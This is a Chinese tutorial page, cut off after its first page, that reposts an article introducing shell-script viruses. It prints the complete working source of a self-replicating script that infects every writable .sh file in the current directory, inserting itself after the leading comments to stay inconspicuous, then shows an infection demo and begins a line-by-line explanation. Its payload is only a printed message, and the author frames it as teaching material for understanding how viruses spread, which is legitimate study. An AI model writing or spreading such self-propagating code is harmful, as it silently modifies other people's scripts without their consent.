用户管理  |   用户注册                                                                                    首 页软件下载教程中心办公指南flash动画文档下载办公公文

www.4oa.com - 中科软件园

投递文章 用户管理 投稿指南 资讯通告 :
站内搜索: 您的位置中科软件园 > 教程中心 > 操作系统 > Linux > 编程开发 > 教程内容

Linux 编程之SHELL病毒简介

2005-5-24 15:18:46  来源:本站整理  作者:不详 【 投递文章
内容提要:说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是...


说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。

文章提交:watercloud (watercloud_at_xfocus.org)
SHELL病毒简介

1. 前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。

2. 程序代码

#!/bin/sh
#文件名: virus_demo.sh
#用途 : shell病毒演示。
#说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写 : watercloud@xfocus.org
#日期 : 2003-5-13

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '<+!a%C&t:>' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your s cript !"
#E:<+!a%C&t:>
#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。
3. 演示

测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

来看看我们这个"肉鸡"脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1

ls -l

#EOF

好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your s cript !

来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '<+!a%C&t:>' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your s cript !"
#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:
#B:<+!a%C&t:>
. . . .
#E:<+!a%C&t:>
被拷贝过来了,这样病毒就被传播了。
值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!
这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明, 你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。


来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your s cript ! <-- 看,病毒体内部的打印信息。

-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh



4. 简单讲解


我们来一步步分析一下这个病毒:

#B:<+!a%C&t:>
病毒体开始标记,用于程序复制自己定位用

vFile=$_ ; vTmp=/tmp/.vTmp.$$
定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们 必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序 名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。

if [ ! -w $f -a ! -r $vFile ]; then continue; fi
目标是否有写权限,病毒源文件是否有读权限。

if grep '<+!a%C&t:>' $f ; then continue; fi
目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

if sed -n '1p' $f | grep 'csh'; then continue; fi
如果目标shell是以csh的那语法上差异太大了,放弃吧。

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不 过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体 插入点。

sed -n "1,${vNo}p" $vTmp >$f
一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
再来一个se

[1] [2]  下一页

(评论内容只代表网友观点,与本站立场无关!)[ 全部评论 ]

网友评论:

    用户名:

    评   分:100分 85分 70分 55分 40分 25分 10分 0分

    内 容:

                 (注“”为必填内容。) 验证码: 验证码,看不清楚?请点击刷新验证码

关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 -有事点这里